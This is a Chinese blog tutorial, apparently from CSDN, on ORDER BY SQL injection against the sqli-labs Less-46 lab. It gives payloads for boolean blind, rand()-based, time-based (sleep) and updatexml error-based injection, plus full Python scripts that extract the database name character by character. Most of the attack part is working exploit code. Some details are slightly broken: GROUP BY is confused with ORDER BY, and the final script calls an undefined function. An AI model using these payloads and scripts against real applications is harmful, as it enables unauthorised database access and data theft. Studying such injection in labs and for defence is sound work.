SQL注入之ORDER BY注入

已于 2024-02-24 17:20:49 修改
阅读量2.5k 收藏 29
点赞数 28
文章标签： python web安全 mysql
于 2024-02-22 20:01:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74834253/article/details/136239756
版权
本文详细介绍了SQLORDERBY注入的各种方法，包括利用ORDERBY快速猜解表列数、基于布尔和时间的盲注，以及报错注入技术，展示了如何通过这些技巧在实际攻击场景中获取信息。
摘要由CSDN通过智能技术生成

SQL注入之ORDER BY注入

一.ORDER BY子句的用法

在MySQL中支持使用ORDER BY语句对查询结果集进行排序处理。使用ORDER BY语句不仅支持对单列数据的排序，还支持对数据表中多列数据的排序。语法格式如下：

select * from 表名 order by 列名(或者数字) asc；升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc；降序

order by还支持多个字段自定义排序，通过逗号隔开，但只能在数字之间进行自定义排序，若选择字符类型则会根据第一个列名的排序规则进行排序。

二.ORDER BY注入方式

这里使用sqllabs的第46关，展示如下注入方式

1.利用order by子句快速猜解表中的列数配合union进行联合查询

使用union进行联合查询要保证前面和后面的查询列数一致所以，在用union之前，要判断列数是多少，payload很简单就是order by后面跟上数字就好，那么就可以通过group by二分法测试具体步骤步骤如下：

  1. 尝试一个较大的数字（例如，10）作为GROUP BY的参数，观察页面的响应。
  2. 如果报错，表示选择的列数过多，需要减小数字。
  3. 通过逐步减小数字，直到不再报错为止。
  4. 确定的数字即为正确的列数。

2.基于布尔的盲注(数字型)

只有order=$id,数字型注入时才能生效,如果是order ='$id'我们输入的语句被转化为字符串,功能失效演示如下：
在这里插入图片描述
如上可以看出字符串型时if(***)被转化为字符串导致失效,排列顺序不改变而数字型时排列顺序改变

知道列名的情况

根据列名构造payload如下：

order by if(ascii(substr((select database()),1,1))>110,id,password)

分析一下，首先(select database())获取当前数据库的名称，然后使用substr()提取第一个字符接着ascii()将这个字符转为ASCII值然后判断ASCII值是否大于110，true时根据id排序，false时根据username排序，这样我们就把这个字母的信息获取到了，下面使用python编写脚本：

import requests
from bs4 import BeautifulSoup


def Boolean_injection(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "if(ascii(substr((select database()),%d,1))>%d,id,password)" % (i, mid)
            params = {"sort": payload}
            # 获取HTML文档
            html_doc = requests.get(url, params=params).text

            # 创建BeautifulSoup对象
            soup = BeautifulSoup(html_doc, 'html.parser')

            # 找到所有行（<tr>）元素
            rows = soup.find_all('tr')
            # 遍历每一行，并提取每个单元格的文本内容
            cell_contents = []
            for row in rows:
                cells = row.find_all('td')
                cell_texts = [cell.text for cell in cells]
                cell_contents.append(cell_texts)
            # 清除第一个元素
            del cell_contents[0]
            # 获取id列
            id_cell = []
            for row in cell_contents:
                id_cell.append(row[0])

            if id_cell == sorted(id_cell):
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1:8080/Less-46/'# 换成你自己的网址
    Boolean_injection(url)

不知道列名的情况

虽然我们不知道列名但是id总应该有吧那么不妨这样构造payload：

order by if (ascii(substr((select database()),1,1))>110,1,(select id from information_schema.tables))

这样当ASCII值是否大于110为true时就会正常返回界面，false时会报ERROR 1242 (21000): Subquery returns more than 1 row的错误，如果没有回显错误信息页面也没有关系，因为内容为空也可以作为一个布尔条件，python脚本如下：

import requests
from bs4 import BeautifulSoup


def Boolean_injection(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "if (ascii(substr((select database()),%d,1))>%d,1,(select id from information_schema.tables))" % (i, mid)
            params = {"sort": payload}
            # 获取HTML文档
            html_doc = requests.get(url, params=params).text         
            if 'Subquery returns more than 1 row' in html_doc:
                # low = mid + 1
                high = mid
            else:
                low = mid + 1
                # high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
    print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1:8080/Less-46/'# 换成你自己的网址
    Boolean_injection(url)

采用rand()函数盲注

rand() 函数用于生成介于0和1之间的伪随机数。当你提供一个种子作为参数给 rand() 函数时，它会使用这个种子来初始化伪随机数生成器，并且对于相同的种子，将会生成相同的随机数序列，那么我就可以构造这样的payload：

order by rand(ascii(substr((select database()),1,1))>110)

同样的当ascii(substr((select database()),1,1))>110为true或者false时，排序结果是不同的，但因为序列相同所以就可以使用rand()函数进行盲注了。python脚本如下：

import requests
from bs4 import BeautifulSoup


def Boolean_injection(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)
            params = {"sort": payload}
            # 获取HTML文档
            html_doc = requests.get(url, params=params).text
            # 创建BeautifulSoup对象
            soup = BeautifulSoup(html_doc, 'html.parser')
            # 找到所有行（<tr>）元素
            rows = soup.find_all('tr')
            # 遍历每一行，并提取每个单元格的文本内容
            cell_contents = []
            for row in rows:
                cells = row.find_all('td')
                cell_texts = [cell.text for cell in cells]
                cell_contents.append(cell_texts)
            # 清除第一个元素
            del cell_contents[0]
            # 获取id列
            id_cell = []
            for row in cell_contents:
                id_cell.append(row[0])
            if id_cell == ['5', '4', '3', '8', '1', '7', '2', '6']:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1:8080/Less-46/'# 换成你自己的网址
    Boolean_injection(url)

3.基于时间的盲注

时间盲注和布尔盲注类似只是将布尔条件改为延迟的时间，构造payload：

order by if(ascii(substr((select database()),1,1))>110,1,sleep(1))

当ascii(substr((select database()),1,1))>110为true时会正常时间显示，false时会延迟一段时间显示所以就可以进行盲注了。需要注意的是这样注入的效率很低，还是应该先考虑其他的注入方式最后在采用时间盲注。

4.报错注入

什么是报错注入？简单来说就是构造报错语句让错误信息中夹杂可以显示数据内容信息，这样通过报错信息来获取我想要的数据。要是注意的是，只用显示报错信息的界面才能使用。那么直接来构造payload：

order by updatexml(1,concat(0x7e,(select database()),0x7e),3)

在这里插入图片描述
很明显数据已经显示了，说明报错注入没有问题，然后我们继续注入就可以了，python脚本如下：

import requests
import re
from bs4 import BeautifulSoup


def Error_injection(url):
    payload = "updatexml(1,concat(0x7e,(select database()),0x7e),3)-- "
    params = {"sort": payload}
    # 获取HTML文档
    html_doc = requests.get(url, params=params).text
    # 创建BeautifulSoup对象
    soup = BeautifulSoup(html_doc, 'html.parser')
    if str(soup):
        quest = re.search(r'~(.*?)~', str(soup)).group(1)
        print(quest)
    else:
        print("未找到匹配的内容")


if __name__ == "__main__":
    url = 'http://127.0.0.1:8080/Less-46/'
	Time_blind_injection(url)
久经过敏
关注
mysql order by注入_sql注入之order by注入
weixin_28882177的博客
01-19 4848
0x00 前言夜里看了一篇文章，突然有了启发，赶紧记录一下。了解order by参考：order by是mysql中对查询数据进行排序的方法， 使用示例select * from 表名 order by 列名(或者数字) asc；升序(默认升序)select * from 表名 order by 列名(或者数字) desc；降序这里的重点在于order by后既可以填列名或者是一个数字。举个例子：...
Order by注入
qq_40710190的博客
07-01 4282
MySQL order by注入
针对ORDER BY子句的SQL注入
最新发布
qq_69100706的博客
07-30 298
在CTF（Capture The Flag）竞赛中，针对ORDER BY子句的SQL注入是一种利用Web应用程序逻辑漏洞的技术，通常在应用程序对数据库查询结果排序时出现。当应用程序没有正确清理或参数化用户输入，并将其直接用于ORDER BY子句时，攻击者可以注入额外的SQL代码，从而控制查询结果的排序方式，甚至执行更复杂的SQL操作。
Mysql Order By 注入总结
vspiders的博客
10-22 2507
前言 最近在做一些漏洞盒子后台项目的总结，在盒子多期众测项目中，发现注入类的漏洞占比较大。其中Order By注入型的漏洞也占挺大一部分比例，这类漏洞也是白帽子乐意提交的类型（奖金高、被过滤概率小）。今天给大家分享下一些关于Order By的有趣的经验。 何为order by 注入 本文讨论的内容指可控制的位置在order by子句后，如下order参数可控：select * f
关于Java中order by注入详解
m0_60571990的博客
03-17 1340
关于Java中order by注入详解
mysql 数值型注入_MySQL Order By 注入总结
weixin_30069113的博客
01-18 261
前言最近在做一些漏洞盒子后台项目的总结，在盒子众多众测项目中，注入类的漏洞占比一直较大。其中Order By注入型的漏洞也占挺大一部分比例，这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概览小)。今天给大家分享下一些关于Order By的有趣的经验。何为order by 注入本文讨论的内容指可控制的位置在order by子句后，如下order参数可控：select * from goods or...
​SQL注入：order by注入
qq_68163788的博客
01-30 2279
Order by注入是一种SQL注入攻击的类型，它利用了在SQL查询中使用order by子句来对结果进行排序的漏洞。在正常情况下，order by子句会根据指定的列对结果进行排序，但是如果应用程序没有对用户提供的输入进行正确的验证和过滤，攻击者就可以利用这个漏洞来执行恶意的SQL查询。 通过在order by子句中插入恶意的SQL代码，攻击者可以获取敏感数据、修改数据库内容或者执行其他恶意操作。例如，攻击者可以利用order by注入来发现数据库中的表名、列名或者获取敏感数据。
sql注入之order by注入
devil8123665的博客
06-22 1826
在安恒杯看到了利用order by进行盲注，记得自己之前好像总结过order by后的注入方法，翻笔记发现确实是有一篇标题为order by注入的笔记，然而里面什么都没写。看了下详细信息，发现是17年8月11号创建的。真的是拖延症拖到忘记啊。order by是mysql中对查询数据进行排序的方法， 使用示例 这里的重点在于order by后既可以填列名或者是一个数字。举个例子： id是user表的第一列的列名，那么如果想根据id来排序，有两种写法: order by盲注 结合union来盲注 这
SQL注入进阶-order by注入
AkangBoy的博客
11-06 8874
本文从order by原理简介开始，详细描述了order by注入原理以及多种注入姿势，包含order by union select注入、order by if()注入、order by sleep()注入、order by报错注入。
sql注入中的order by
热门推荐
内心不种满鲜花就会长满杂草
03-14 1万+
联合查询中的order by ，相必于大家都不会陌生。ORDER BY 语句用于根据指定的列对结果集进行排序。如有一个表Orders如下 1. 按照字母的顺序显示公司名称 SELECT Company, OrderNumber FROM Orders ORDER BY Company 结果如下，按照公司名字首字母升序进行排序 其实上面的order by Company可以写成order by 1 ,即以表的第一列Company进行排序，order by n，即以表的第n列排序，当排序的那.
order by注入
weixin_49472648的博客
08-11 659
当页面出现mysql报错信息时，注入点在order by后面，此时可以利用报错信息进行注入。即可控的位置在order by 子句后面。如下图所示，这是正常的order by语句。le |le |
sql注入讲解ppt.pptx
08-10
3. ORDER BY：使用 ORDER BY keyword 来排序查询结果。 4. LIMIT 和 OFFSET：使用 LIMIT 和 OFFSET keyword 来限制查询结果。 八、SQL 注入基本步骤： 1. 注入点测试：检测 SQL 注入的可能性。 2. 查询字段数：...
sql注入之手工注入示例详解
09-10
SQL注入是一种常见的网络安全漏洞，发生在应用程序使用用户输入的参数直接构造SQL查询语句时。手工注入是指不依赖自动化工具，而是通过手动构造和尝试不同的SQL语句来探测和利用这种漏洞。本文将深入讲解如何进行...
SQL注入之ORDER BY注入_order by 后面的变量 sql注入
m0_60721695的博客
04-08 742
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
SQL注入的order by ，limit与宽字节注入
Miracle_ze的博客
08-09 960
定义：正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时，我们测试输入的’，就会被转义为’，无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的，但是有一种情况除外，就是当后台数据库编码格式为GBK时，可以添加字符欺骗转义函数，'等不被转义。适用情形：（1）数据库的编码格式为GBK；（2）在PHP中，通过iconv（）进行编码转换。原理：加入字节与\构成GBK编码，实现单引号和双引号逃逸。.........
SQL注入基础---order by \ limit \ 宽字节注入
qq_52016943的博客
08-09 1237
order by 、limit 、宽字节注入
【漏洞挖掘】——122、Order By注入介绍
Fly_鹏程万里
06-28 65
Order by注入是指存在注入的可控制参数位置位于order by子句后，例如： 注入思考 这里以Less-46为例对order by注入做研究分析直接访问Less-46后提示需要传递数字型的sort参数：随后构造/?sort=1进行访问，给出一张排序的表格 在这里我们首先需要猜测一下数据库后台的SQL语句格式，将1改换为2之后再次请求发现数据没变，数据的排序发生了变化： 由此说明此处应该是根据sort的值来进行排序的，而在SQL语句中只有order by x才会根据x进行排序，说明此处的输
sql注入之order by猜列数问题
06-01
好的，您的问题是关于SQL注入的order by猜列数问题。这是一种常见的SQL注入攻击方式，攻击者试图通过在order by语句中输入不同的值来猜测查询结果集中的列数。 一种常见的猜测列数的方法是使用union select语句，例如： ``` SELECT column1, column2, column3 FROM table1 ORDER BY 1 ``` 攻击者可以通过union select语句来猜测列数： ``` SELECT column1, column2, column3 FROM table1 WHERE 1=2 UNION SELECT NULL, NULL, NULL, NULL ORDER BY 1,2,3,4 ``` 如果查询结果集的列数为3，则上述语句将返回一个空行，并且order by子句将根据第一、第二和第三列进行排序。如果查询结果集的列数为4，则该语句将返回一个错误，因为第二个查询中的列数与第一个查询中的列数不匹配。 总之，攻击者可以使用union select语句和order by子句来猜测查询结果集中的列数。为了避免这种攻击，您应该使用参数化查询和输入验证来保护您的应用程序。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值